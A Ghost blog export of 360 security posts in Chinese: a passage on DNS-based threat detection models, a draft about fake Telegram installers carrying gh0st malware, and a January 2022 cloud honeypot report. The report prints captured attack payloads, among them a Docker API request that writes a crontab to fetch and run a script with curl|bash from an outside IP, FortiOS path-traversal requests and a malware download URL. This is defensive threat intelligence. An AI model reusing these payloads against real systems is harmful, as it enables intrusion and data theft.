此时，未知威胁分析的难度和工作强度，降低到了和已知威胁分析差不太多的高度。分析人员只要按照已知威胁分析的模式开展工作，即可完成告警的处置，清除网络存在的未知威胁隐患。
模型
不难想象，未知威胁分析模型对刚刚接触DTA的分析人员来说，乍听起来会觉得专业生僻，令人心生抗拒。不过如果把模型映射到现实生活，读者把自己代入成朝阳群众那样去分析身边隐秘的线索，会发现模型的原理其实是简单易懂的。首先，按下表做一个映射。
实体
元素1
元素2
元素3
日志的含义
DTA
资产
时间
域名及其Rdata
某资产在某时间请求解析某域名
现实世界
人
时间
地点
某人在某时间出现在某地点
那么，DTA记录在数据库的DNS日志，就如同现实世界里的摄像头，忠实地记录着监控范围内发生的事件。通过分析监控，可以总结出一些可疑情景和模型相对应：
1、某段时间，某人总是在每天的某个时间点准时在某个地方出现。这个情景对应到DTA，属于“可疑心跳域名”：就是资产有周期性域名请求，每隔一个固定时间段会发出对该域名的解析请求。DTA部署实践发现，winnit、双枪等多个恶意家族的C2域名在DNS日志上有明显的心跳周期行为。
2、某天，在某个地方出现了一个大家都没见过的陌生人。这个情景对应到DTA，叫做“可疑NOD”：即有资产请求了新观测到的域名(New Observe Domain)，这个域名在以往的访问历史里，从来没有在该网络出现过。可疑NOD适用范围较广，在攻击行为发生的下载、通信阶段等都有机会捕获到线索。
3、如果有某人，经常前往境外的某个地点，这个地点，普罗大众几乎没有前往的记录。这个情景对应到DTA，则是“可疑境外域名”：资产访问了一个很少有人请求的境外域名，很少有人请求这个指标是通过统计大网的PDNS数据来度量的，比如自域名出现以来，全中国访问该域名的人数不超过20个。想挖掘高级威胁的分析人员，可以多关注此模型提供的线索。我们曾经测试回溯360发布的APT报告域名类IoC，发现部署在公司内部的DTA，在安全人员利用沙箱测试样本的时候，此模型都能捕获到线索(系列文章1的图-3算是一个不完全恰当的例子--IoC不是360报告)。不过也要保持清醒，找到线索在一个完整的高级威胁分析周期里，大概只能算万里长征的第一里，方向有了，但更多的艰苦在后头。
4、某同事每天上班，总是来回背着鼓鼓囊囊的背包，而其他同事多是两袖清风地上下班，这个情景对应到DTA，叫“可疑DNS隧道”：正常的域名请求，前缀相对固定且字符较少，如果某个域名的前缀变化多端，有可能是恶意程序在和C2通信，将偷窃的数据隐藏在正常的DNS请求和响应中。
原理是简单的，难点在大数据的环境下，符合规则的数据量会远超人力可处理范围。以NOD为例，在一个稍有规模（比如1000个员工）的公司网络里，工作日观察到的NOD域名数量可达百万级别，而在休息日，也有十万级别。在这里，借助360云端大数据和积累的经验规则，可以让模型把可疑线索的数据量在尽可能不漏报的情况下降到百或千的级别，然后以可控地方式进入到步骤2和3。
在步骤3，有一个非常值得一提的“自动分析”功能，当该功能分析出告警事件为“无威胁”时，会在告警状态栏打上“无恶意行为”的徽章并给出判断理由。
除了未知威胁相关的模型，DTA也集成有很多其它类别的模型用来辅助威胁分析。比如可以帮助分析人员判断资产性质的模型，这些模型能标定资产是客户端或服务器，以及操作系统是Windows或安卓等等；又比如在域名分析页面，为帮助分析人员串起一个事件的前后域名访问关系，集成有共同访问模型。如此等等，不一而足。
举例
前面的原理介绍，说明了模型的思路和使用场景。这一节，我们来个例子介绍一下在DTA是如何处置未知威胁类型告警的。
点击顶部菜单栏进入“威胁告警”页面。页面的第一栏是告警汇总栏，其中，威胁类型分为3类：1、已知威胁和AI识别威胁是由引擎实时匹配IoC产生的；2、网络异常是DNS流量相关的异常；3、本文所描述的未知威胁。
点选“威胁类型”里的未知威胁，页面的第二栏告警列表栏会把指定时间段内的未知威胁过滤出来，通过标题，即可以分辨告警是由可疑心跳还是NOD还是DNS隧道引起的。
打开状态为“待分析”的事件，进入告警详情页面。页面第一栏IoCs列出域名的基本信息和模型在第2步运行时关联到的判黑情报；第二栏列出当前受影响的资产及其请求恶意域名的概况；在处理完成后，可以在第三栏写下分析经验，供其他人参考。
如果想进一步看模型在第2步时的关联关系，点击右上角的“威胁情报图”。
根据告警详情页面提供的威胁情报，有逆向能力的分析人员，可以分析样本的行为进一步实锤确认；想轻松一点的可以先尝试通过搜索引擎和各家威胁情报平台搜索关键字，看看有没有相关的分析报告。这个例子里，通过搜索引擎搜索 “macapproduct[.]com macos”关键字，可以搜到相关的分析报告，比如《利用EXE文件攻击MacOS》。
至此，仅通过点击查看告警提供的内容和借助搜索引擎，分析人员就可以形成结论：这是一台操作系统为MacOS的资产，被利用exe文件的攻击方法感染了。至于后期的处置动作，因为DTA是被动监听型，必须和其它安全产品配合才能完成清除阻断。
结语
内置的自动化分析模型可以解决普适性的问题并降低安全运维难度和强度。但再丰富的规则也只能描述有限的场景，而网络安全对抗，新手法总是层出不穷，所谓魔高一尺道高一丈。
人的思想是最灵动的，发挥人的能动作用，在未知威胁模型的第1步输出结果上进行深层次的挖掘，有时会有意外收获。下篇举一例子说明如何基于未知威胁最原始的输出上进行威胁分析，敬请期待。
产品、商务咨询，请联系 [email protected] | {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"> 1、提出分析思路，从DNS日志里找到可疑线索\n> 2、确认可疑线索有威胁行为\n> 3、借助DNS日志确认资产被感染"}],["image",{"src":"__GHOST_URL__/content/images/2022/02/07.png","caption":"图-1 首页_未知威胁"}],["markdown",{"markdown":"| 实体 | 元素1 | 元素2 | 元素3 | 日志的含义 |\n| ---- | ---- | ---- | ---- | ---- |\n| DTA | 资产 | 时间 | 域名及其Rdata | 某资产在某时间请求解析某域名 |\n| 现实世界 | 人 | 时间 | 地点 | 某人在某时间出现在某地点 |"}],["image",{"src":"__GHOST_URL__/content/images/2022/02/06-1.png","caption":"图-2 自动分析完成_无威胁"}],["image",{"src":"__GHOST_URL__/content/images/2022/02/02-1.png","caption":"图-3 威胁告警页面_汇总栏"}],["image",{"src":"__GHOST_URL__/content/images/2022/02/03.png","caption":"图-4 威胁告警页面_告警列表栏"}],["image",{"src":"__GHOST_URL__/content/images/2022/02/04-2.png","caption":"图-5 告警详情页面"}],["image",{"src":"__GHOST_URL__/content/images/2022/02/05-1.png","caption":"图-6 威胁情报图"}]],"markups":[["strong"],["em"],["a",["href","__GHOST_URL__/use_dta_to_illuminate_the_path_of_dns_threat_analysis_2/"]],["a",["href","__GHOST_URL__/use_dta_to_illuminate_the_path_of_dns_threat_analysis_1/"]],["a",["href","https://nosec.org/home/detail/2253.html"]],["a",["href","mailto:[email protected]"]]],"sections":[[1,"p",[[0,[0,1],2,"--- 内置未知威胁分析模型介绍"]]],[1,"h2",[[0,[],0,"概述"]]],[1,"p",[[0,[],0,"在"],[0,[2],1,"系列文章2"],[0,[],0,"，介绍了如何利用DTA进行一轮完整的未知威胁分析，共有3个步骤："]]],[10,0],[1,"p",[[0,[],0,"其中，这几个步骤里最为安全分析人员所熟悉的应该是步骤2，毕竟日常工作大家都少不了利用各家威胁情报平台、搜索引擎和云沙箱进行信息搜集+关联+确认可疑线索；而步骤1和3，因为涉及到DNS日志，对于不熟悉DNS的分析人员来说，是需要一定学习成本去积累相关分析经验和熟悉DTA的各类元数据的。"]]],[1,"p",[[0,[],0,"因此，针对未知威胁分析，DTA预置了可疑心跳域名、可疑NOD(新出现在网络中的可疑域名)、可疑境外域名等等模型，这些模型以后台运行的方式自动完成上述3个步骤，当模型计算出某个域名存在威胁行为时，会在首页以威胁告警的方式通知分析人员有“未知威胁”类型的告警需要进一步分析。"]]],[10,1],[1,"p",[[0,[],0,"此时，未知威胁分析的难度和工作强度，降低到了和已知威胁分析差不太多的高度。分析人员只要按照已知威胁分析的模式开展工作，即可完成告警的处置，清除网络存在的未知威胁隐患。"]]],[1,"h2",[[0,[],0,"模型"]]],[1,"p",[[0,[],0,"不难想象，未知威胁分析模型对刚刚接触DTA的分析人员来说，乍听起来会觉得专业生僻，令人心生抗拒。不过如果把模型映射到现实生活，读者把自己代入成朝阳群众那样去分析身边隐秘的线索，会发现模型的原理其实是简单易懂的。首先，按下表做一个映射。"]]],[10,2],[1,"p",[[0,[],0,"那么，DTA记录在数据库的DNS日志，就如同现实世界里的摄像头，忠实地记录着监控范围内发生的事件。通过分析监控，可以总结出一些可疑情景和模型相对应："]]],[1,"p",[[0,[],0,"1、某段时间，某人总是在每天的某个时间点准时在某个地方出现。这个情景对应到DTA，属于“"],[0,[1,0],2,"可疑心跳域名"],[0,[0],1,"”"],[0,[],0,"：就是资产有周期性域名请求，每隔一个固定时间段会发出对该域名的解析请求。DTA部署实践发现，winnit、双枪等多个恶意家族的C2域名在DNS日志上有明显的心跳周期行为。"]]],[1,"p",[[0,[],0,"2、某天，在某个地方出现了一个大家都没见过的陌生人。这个情景对应到DTA，叫做"],[0,[0],1,"“"],[0,[1,0],2,"可疑NOD"],[0,[0],1,"”"],[0,[],0,"：即有资产请求了新观测到的域名(New Observe Domain)，这个域名在以往的访问历史里，从来没有在该网络出现过。可疑NOD适用范围较广，在攻击行为发生的下载、通信阶段等都有机会捕获到线索。"]]],[1,"p",[[0,[],0,"3、如果有某人，经常前往境外的某个地点，这个地点，普罗大众几乎没有前往的记录。这个情景对应到DTA，则是"],[0,[0],0,"“"],[0,[1],1,"可疑境外域名"],[0,[],1,"”"],[0,[],0,"：资产访问了一个很少有人请求的境外域名，很少有人请求这个指标是通过统计大网的PDNS数据来度量的，比如自域名出现以来，全中国访问该域名的人数不超过20个。想挖掘高级威胁的分析人员，可以多关注此模型提供的线索。我们曾经测试回溯360发布的APT报告域名类IoC，发现部署在公司内部的DTA，在安全人员利用沙箱测试样本的时候，此模型都能捕获到线索("],[0,[3],1,"系列文章1"],[0,[],0,"的图-3算是一个不完全恰当的例子--IoC不是360报告)。不过也要保持清醒，找到线索在一个完整的高级威胁分析周期里，大概只能算万里长征的第一里，方向有了，但更多的艰苦在后头。"]]],[1,"p",[[0,[],0,"4、某同事每天上班，总是来回背着鼓鼓囊囊的背包，而其他同事多是两袖清风地上下班，这个情景对应到DTA，叫"],[0,[0],0,"“"],[0,[1],1,"可疑DNS隧道"],[0,[],1,"”"],[0,[],0,"：正常的域名请求，前缀相对固定且字符较少，如果某个域名的前缀变化多端，有可能是恶意程序在和C2通信，将偷窃的数据隐藏在正常的DNS请求和响应中。"]]],[1,"p",[[0,[],0,"原理是简单的，难点在大数据的环境下，符合规则的数据量会远超人力可处理范围。以NOD为例，在一个稍有规模（比如1000个员工）的公司网络里，工作日观察到的NOD域名数量可达百万级别，而在休息日，也有十万级别。在这里，借助360云端大数据和积累的经验规则，可以让模型把可疑线索的数据量在尽可能不漏报的情况下降到百或千的级别，然后以可控地方式进入到步骤2和3。"]]],[1,"p",[[0,[],0,"在步骤3，有一个非常值得一提的“自动分析”功能，当该功能分析出告警事件为“无威胁”时，会在告警状态栏打上“无恶意行为”的徽章并给出判断理由。"]]],[10,3],[1,"p",[[0,[],0,"除了未知威胁相关的模型，DTA也集成有很多其它类别的模型用来辅助威胁分析。比如可以帮助分析人员判断资产性质的模型，这些模型能标定资产是客户端或服务器，以及操作系统是Windows或安卓等等；又比如在域名分析页面，为帮助分析人员串起一个事件的前后域名访问关系，集成有共同访问模型。如此等等，不一而足。"]]],[1,"h2",[[0,[],0,"举例"]]],[1,"p",[[0,[],0,"前面的原理介绍，说明了模型的思路和使用场景。这一节，我们来个例子介绍一下在DTA是如何处置未知威胁类型告警的。"]]],[1,"p",[[0,[],0,"点击顶部菜单栏进入“威胁告警”页面。页面的第一栏是告警汇总栏，其中，威胁类型分为3类：1、已知威胁和AI识别威胁是由引擎实时匹配IoC产生的；2、网络异常是DNS流量相关的异常；3、本文所描述的未知威胁。"]]],[10,4],[1,"p",[[0,[],0,"点选“威胁类型”里的未知威胁，页面的第二栏告警列表栏会把指定时间段内的未知威胁过滤出来，通过标题，即可以分辨告警是由可疑心跳还是NOD还是DNS隧道引起的。"]]],[10,5],[1,"p",[[0,[],0,"打开状态为“待分析”的事件，进入告警详情页面。页面第一栏IoCs列出域名的基本信息和模型在第2步运行时关联到的判黑情报；第二栏列出当前受影响的资产及其请求恶意域名的概况；在处理完成后，可以在第三栏写下分析经验，供其他人参考。"]]],[10,6],[1,"p",[[0,[],0,"如果想进一步看模型在第2步时的关联关系，点击右上角的“威胁情报图”。"]]],[10,7],[1,"p",[[0,[],0,"根据告警详情页面提供的威胁情报，有逆向能力的分析人员，可以分析样本的行为进一步实锤确认；想轻松一点的可以先尝试通过搜索引擎和各家威胁情报平台搜索关键字，看看有没有相关的分析报告。这个例子里，通过搜索引擎搜索 “macapproduct[.]com macos”关键字，可以搜到相关的分析报告，比如"],[0,[4],1,"《利用EXE文件攻击MacOS》"],[0,[],0,"。"]]],[1,"p",[[0,[],0,"至此，仅通过点击查看告警提供的内容和借助搜索引擎，分析人员就可以形成结论：这是一台操作系统为MacOS的资产，被利用exe文件的攻击方法感染了。至于后期的处置动作，因为DTA是被动监听型，必须和其它安全产品配合才能完成清除阻断。"]]],[1,"h2",[[0,[],0,"结语"]]],[1,"p",[[0,[],0,"内置的自动化分析模型可以解决普适性的问题并降低安全运维难度和强度。但再丰富的规则也只能描述有限的场景，而网络安全对抗，新手法总是层出不穷，所谓魔高一尺道高一丈。"]]],[1,"p",[[0,[],0,"人的思想是最灵动的，发挥人的能动作用，在未知威胁模型的第1步输出结果上进行深层次的挖掘，有时会有意外收获。下篇举一例子说明如何基于未知威胁最原始的输出上进行威胁分析，敬请期待。"]]],[1,"p",[[0,[],0,"产品、商务咨询，请联系 "],[0,[5],1,"[email protected]"]]]],"ghostVersion":"3.0"} | 6204e9a44257f30007fd0260 |
post | null | 2022-02-10T11:11:35.000Z | 63873b9a8b1c1e0007f53008 | use_dta_to_illuminate_the_path_of_dns_threat_analysis_4 | 0 | 2022-02-28T09:56:29.000Z | public | draft | null | null | 用DTA照亮DNS威胁分析之路 (4) | <p><strong><strong><em><em>--- 发挥人的能动作用</em></em></strong></strong></p><h2 id="-"><strong>概述</strong></h2><p></p><h2 id="--1">举例</h2><p>未知威胁无告警</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/02/00.png" class="kg-image" alt loading="lazy"></figure><p>只保留新出现的心跳域名</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/02/01-2.png" class="kg-image" alt loading="lazy"></figure><p>点击心跳域名列表左上角的威胁情报图</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/02/02-4.png" class="kg-image" alt loading="lazy"></figure><p>样本无识别</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/02/06-5.png" class="kg-image" alt loading="lazy"></figure><p>telegram中文版“关联出样本80385</p><!--kg-card-begin: markdown--><table>
<thead>
<tr>
<th>中文版下载地址</th>
<th>域名注册时间</th>
<th>安装压缩包</th>
<th>安装文件名称</th>
<th>安装文件MD5</th>
<th>VT识别</th>
</tr>
</thead>
<tbody>
<tr>
<td>telegram-cn[.]org</td>
<td>2021-06-30 14:30:21</td>
<td>tsetup.zip</td>
<td>Telegram中文版.msi</td>
<td>58f8d9e024de1ad31c6c88e70bba6f58</td>
<td>14/57</td>
</tr>
<tr>
<td>www[.]telegram-zh[.]org</td>
<td>2021-11-24 14:28:25</td>
<td>Telegram Desktop.zip</td>
<td>Telegram Desktop.exe</td>
<td>ed1b74827b64fc8913af19b1b745ad1a</td>
<td>23/64</td>
</tr>
<tr>
<td>borsolo.oss-ap-southeast-1.aliyuncs[.]com</td>
<td>-</td>
<td>telegram.rar</td>
<td>Telegram中文版.msi</td>
<td>54cc6069bc165be77301937286fc6b82</td>
<td>20/59</td>
</tr>
<tr>
<td>www[.]telelgracn[.]com</td>
<td>2021-06-27 07:00:00</td>
<td>setup.zip</td>
<td>Telegram中文版.msi</td>
<td>53fb412a783e10607871fd205492981a</td>
<td>2/58</td>
</tr>
<tr>
<td>www[.]telegldcn[.]com</td>
<td>2021-08-07 07:00:00</td>
<td>setup.zip</td>
<td>Telegram中文版.msi</td>
<td>8038518d5023819708d2282e348ca931</td>
<td>22/59</td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--><p>全局关联</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/02/09.png" class="kg-image" alt loading="lazy"></figure><p>样本相似性：域名结构相似，伪造知名公司</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/02/08-1.png" class="kg-image" alt loading="lazy"></figure><p>内嵌gh0st变种，C2：www.windowstimeupdate.com:9006</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/02/07-5.png" class="kg-image" alt loading="lazy"></figure><p></p><h2 id="--2"><strong>结语</strong></h2><p>发挥人能动性的环节：中文版telegram；域名相似性，</p><p>未知威胁科普系列完结，后续继续科普其它，比如资产可视化。资产的重要性。</p><p>产品、商务咨询，请联系 <a href="mailto:[email protected]">[email protected]</a></p> | --- 发挥人的能动作用
概述
举例
未知威胁无告警
只保留新出现的心跳域名
点击心跳域名列表左上角的威胁情报图
样本无识别
telegram中文版“关联出样本80385
中文版下载地址
域名注册时间
安装压缩包
安装文件名称
安装文件MD5
VT识别
telegram-cn[.]org
2021-06-30 14:30:21
tsetup.zip
Telegram中文版.msi
58f8d9e024de1ad31c6c88e70bba6f58
14/57
www[.]telegram-zh[.]org
2021-11-24 14:28:25
Telegram Desktop.zip
Telegram Desktop.exe
ed1b74827b64fc8913af19b1b745ad1a
23/64
borsolo.oss-ap-southeast-1.aliyuncs[.]com
-
telegram.rar
Telegram中文版.msi
54cc6069bc165be77301937286fc6b82
20/59
www[.]telelgracn[.]com
2021-06-27 07:00:00
setup.zip
Telegram中文版.msi
53fb412a783e10607871fd205492981a
2/58
www[.]telegldcn[.]com
2021-08-07 07:00:00
setup.zip
Telegram中文版.msi
8038518d5023819708d2282e348ca931
22/59
全局关联
样本相似性：域名结构相似，伪造知名公司
内嵌gh0st变种，C2：www.windowstimeupdate.com:9006
结语
发挥人能动性的环节：中文版telegram；域名相似性，
未知威胁科普系列完结，后续继续科普其它，比如资产可视化。资产的重要性。
产品、商务咨询，请联系 [email protected] | {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2022/02/00.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/02/01-2.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/02/02-4.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/02/06-5.png"}],["markdown",{"markdown":"| 中文版下载地址 | 域名注册时间 | 安装压缩包 | 安装文件名称 | 安装文件MD5 | VT识别 |\n| --- | --- | --- | --- | --- | --- |\n| telegram-cn[.]org | 2021-06-30 14:30:21 | tsetup.zip | Telegram中文版.msi | 58f8d9e024de1ad31c6c88e70bba6f58 | 14/57 |\n| www[.]telegram-zh[.]org | 2021-11-24 14:28:25 | Telegram Desktop.zip | Telegram Desktop.exe | ed1b74827b64fc8913af19b1b745ad1a | 23/64 |\n| borsolo.oss-ap-southeast-1.aliyuncs[.]com | - | telegram.rar | Telegram中文版.msi | 54cc6069bc165be77301937286fc6b82 | 20/59 |\n| www[.]telelgracn[.]com | 2021-06-27 07:00:00 | setup.zip | Telegram中文版.msi | 53fb412a783e10607871fd205492981a | 2/58 |\n| www[.]telegldcn[.]com | 2021-08-07 07:00:00 | setup.zip | Telegram中文版.msi | 8038518d5023819708d2282e348ca931 | 22/59 |"}],["image",{"src":"__GHOST_URL__/content/images/2022/02/09.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/02/08-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/02/07-5.png"}]],"markups":[["strong"],["em"],["a",["href","mailto:[email protected]"]]],"sections":[[1,"p",[[0,[0,0,1,1],4,"--- 发挥人的能动作用"]]],[1,"h2",[[0,[0],1,"概述"]]],[1,"p",[]],[1,"h2",[[0,[],0,"举例"]]],[1,"p",[[0,[],0,"未知威胁无告警"]]],[10,0],[1,"p",[[0,[],0,"只保留新出现的心跳域名"]]],[10,1],[1,"p",[[0,[],0,"点击心跳域名列表左上角的威胁情报图"]]],[10,2],[1,"p",[[0,[],0,"样本无识别"]]],[10,3],[1,"p",[[0,[],0,"telegram中文版“关联出样本80385"]]],[10,4],[1,"p",[[0,[],0,"全局关联"]]],[10,5],[1,"p",[[0,[],0,"样本相似性：域名结构相似，伪造知名公司"]]],[10,6],[1,"p",[[0,[],0,"内嵌gh0st变种，C2：www.windowstimeupdate.com:9006"]]],[10,7],[1,"p",[]],[1,"h2",[[0,[0],1,"结语"]]],[1,"p",[[0,[],0,"发挥人能动性的环节：中文版telegram；域名相似性，"]]],[1,"p",[[0,[],0,"未知威胁科普系列完结，后续继续科普其它，比如资产可视化。资产的重要性。"]]],[1,"p",[[0,[],0,"产品、商务咨询，请联系 "],[0,[2],1,"[email protected]"]]]],"ghostVersion":"3.0"} | 6204f2e74257f30007fd0298 |
post | null | 2022-02-16T07:13:06.000Z | 63873b9a8b1c1e0007f53009 | public-cloud-threat-intelligence-202201 | 0 | 2022-06-24T03:46:11.000Z | public | published | null | 2022-02-21T02:43:02.000Z | 公有云网络安全威胁情报（202201） | <!--kg-card-begin: markdown--><h2 id="1">1. 概述</h2>
<p>2022年的第一个月份，虽然没有爆发新的热门漏洞，且随着越来越多设备的Apache Log4j2漏洞被修复，12月开始的Apache Log4j2漏洞爆发也进入尾声，相关攻击源数量明显减少。但是，Docker Remote API未授权访问漏洞、美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞等旧漏洞的云服务器攻击源IP数量突然较12月大幅度增加。在第2部分，我们分析了这两个漏洞的攻击趋势和攻击方法。政府和企事业单位的云上资产方面，1月份共发现26个云上资产对外扫描攻击，其中某航天研究单位、某县级人民医院（都架设在阿里云上）等单位使用的云服务器IP在公网上发起攻击，值得关注。本文主要通过360网络安全研究院 Anglerfish蜜罐视角，分析云上热门漏洞攻击细节，以及云上重要资产在公网上发起攻击的情况。</p>
<h2 id="2">2. 云上热门漏洞攻击威胁</h2>
<p>本月没有爆发的新漏洞攻击，但值得注意的是，本月有一些旧漏洞的攻击源IP数量较12月出现了大幅增加。增长最多的是Docker Remote API未授权访问漏洞和美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞。而在12月爆发的Apache Log4j2漏洞的云服务器由于越来越多设备的漏洞被修复，攻击源IP数量大幅回落。</p>
<h3 id="21dockerremoteapi">2.1 Docker Remote API未授权访问漏洞</h3>
<p>在Docker中，可通过命令行和Remote API进行交互。Docker Remote API默认监听端口2735/2736。正确配置时，Remote API仅可通过localhost访问。通过Docker Remote API可自动化部署、控制容器。然而，当Docker错误配置，Remote API暴露在公网时，可被攻击者恶意利用导致RCE。</p>
<p>攻击者通过暴露的Remote API启动一个容器，执行docker run —privileged，即可将宿主机目录挂载到容器，实现任意读写宿主机文件，通过将命令写入crontab配置文件进行反弹shell。</p>
<p>Docker Remote API未授权访问攻击主要针对目标机器的TCP/2375和TCP/2376端口。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220216142747175.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220216142747175.png" class="kg-image"/></a></p>
<p>传播的恶意软件主要是恶意挖矿类（CoinMiner）和Rootkit类恶意软件。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220216143315707.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220216143315707.png" class="kg-image"/></a></p>
<p>主要的攻击URI及所占百分比如下：</p>
<pre><code>/v1.24/containers/create (50%)
/_ping (29%)
/v1.24/containers/json (13%)
/v1.37/containers/create (3%)
</code></pre>
<p>攻击Payload示例：</p>
<pre><code class="language-http">POST /v1.24/containers/create HTTP/1.1
Host: {target}
User-Agent: Go-http-client/1.1
Content-Length: 1787
Content-Type: application/json
Accept-Encoding: gzip
{"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":[],"Cmd":["chroot","/mnt/","/bin/sh","-c","if ! type curl \u003e/dev/null;then apt-get install -y curl;apt-get install -y --reinstall curl;yum clean all;yum install -y curl;yum reinstall -y curl;fi;echo \"* * * * * root curl http://107.189.3.150/b2f628/cronb.sh|bash\"\u003e/etc/crontab \u0026\u0026 echo \"* * * * * root curl http://107.189.3.150/b2f628/cronb.sh|bash\"\u003e/etc/cron.d/zzh"],"Image":"alpine","Volumes":{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/:/mnt"],"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"default","PortBindings":{},"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"AutoRemove":true,"VolumeDriver":"","VolumesFrom":null,"CapAdd":null,"CapDrop":null,"Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":false,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":0,"ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":null,"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":[],"DiskQuota":0,"KernelMemory":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":-1,"OomKillDisable":false,"PidsLimit":0,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0},"NetworkingConfig":{"EndpointsConfig":{}}}
</code></pre>
<p>攻击源IP集中在腾讯云和阿里云，这两个云服务商占所有云服务器攻击源的约87%。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220215113511032.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220215113511032.png" class="kg-image"/></a></p>
<h3 id="22fortinetfortioscve201813379">2.2 美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞（CVE-2018-13379）</h3>
<p>在设备登录界面，请求相应语言文件时，服务器端通过提供的lang参数构建JSON语言文件路径：snprintf(s, 0x40, "/migadmin/lang/%s.json", lang)。没有对lang参数进行特殊字符过滤，通过添加文件扩展名.json，控制读取JSON文件。但snprintf函数最多将size-1的字符串写到目标缓冲区。因此当lang参数拼接后长度超过size-1时，.json将被strip掉，最终导致可读取任意文件。</p>
<pre><code>/data/config/sys_global.conf.gz
/data/config/sys_vd_root.conf.gz
/data/config/global_system_interface.gz
/data/config/vd_root_firewall_policy.gz
/data/config/sys_vd_root%2broot.conf.gz
/dev/cmdb/sslvpn_websession
</code></pre>
<p>该漏洞的攻击数据包的目的端口较为分散，TCP/8443、TCP/9443和TCP/4443的攻击数据包相对较多。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220216175426189.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220216175426189.png" class="kg-image"/></a></p>
<p>漏洞主要的攻击URI及所占百分比如下：</p>
<pre><code>/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession (62%)
///remote/fgt_lang?lang=/../../../..//////////dev/ (38%)
</code></pre>
<p>漏洞攻击Payload：</p>
<pre><code class="language-http">GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1
Accept-Encoding: identity
Host: {target}
User-Agent: Python-urllib/3.9
Connection: close
</code></pre>
<p>这个漏洞的云服务器攻击源IP有超过90%都来源于亚马逊AWS，同样非常集中。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220215141225734.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220215141225734.png" class="kg-image"/></a></p>
<h2 id="3">3. 云上资产对外发起扫描攻击情况</h2>
<p>2022年1月，共发现26个对外发起扫描攻击的国内重要政府和企事业单位的云上资产，其中事业单位和政府机关占90%，云服务商主要为阿里云。以下介绍来自其中两个单位的情况。如果需要更多相关资料，请根据文末的联系方式与我们联系。</p>
<p>一个IP属于阿里云的39.96.91.*，IP地理位置位于北京，属于航天系统与导航相关的某个重要研究单位，在1月17号对蜜罐系统发起了SSH暴力破解：</p>
<pre><code>SSH-2.0-libssh_0.9.6
knockknockwhosthere
knockknockwhosthere
</code></pre>
<p>直接用浏览器访问IP地址可以进入单位主页：</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220217144404532.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220217144404532.png" class="kg-image"/></a></p>
<p>另一个是阿里云47.108.242.*，IP地址位于四川成都，属于某县级人民医院。直接用浏览器访问这个IP地址，可以进入该医院的核酸检测结果查询系统。</p>
<p><a href="__GHOST_URL__/content/images/2022/02/image-20220216183457994.png"><img src="__GHOST_URL__/content/images/2022/02/image-20220216183457994.png" class="kg-image"/></a></p>
<p>这个IP利用了Hadoop YARN ResourceManager未授权访问漏洞、Laravel Debug模式RCE漏洞（CVE-2021-3129）和ThinkPHP RCE漏洞。传播了Linux系统的木马下载器（TrojanDownloader）类恶意软件，恶意软件下载URL为：</p>
<pre><code>http://194.145.227.21/ldr.sh
</code></pre>
<p>Hadoop YARN ResourceManager未授权访问漏洞的Payload：</p>
<pre><code>POST /ws/v1/cluster/apps HTTP/1.1
Host: {target}:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 3302
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/json
Accept-Encoding: gzip
{
"application-id": "application_1526990652950_72948",
"application-name": "eqtrl5an",
